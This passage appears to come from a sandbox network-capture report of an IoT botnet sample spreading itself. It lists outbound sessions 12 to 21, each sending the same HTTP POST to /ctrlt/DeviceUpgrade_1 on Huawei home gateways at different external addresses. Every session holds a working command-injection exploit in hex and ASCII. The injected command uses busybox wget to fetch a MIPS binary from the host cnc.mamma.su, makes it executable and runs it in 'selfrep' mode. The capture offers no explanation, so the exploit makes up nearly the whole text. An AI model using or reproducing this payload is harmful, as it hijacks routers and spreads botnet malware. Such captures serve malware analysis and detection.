6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.13	37018	41.176.244.148	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.579040051 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.13	51226	197.253.171.12	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.579054117 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.13	38770	156.119.14.193	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.579076052 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.13	59014	156.160.188.179	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.579108000 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.13	37704	197.203.217.254	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.579144001 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.13	46494	197.4.25.105	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.579163074 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.13	59544	197.172.37.162	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.579195976 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.13	52246	197.64.116.109	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.579221010 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.13	42792	41.24.191.230	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.579242945 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.13	52930	41.129.13.215	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.579293013 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

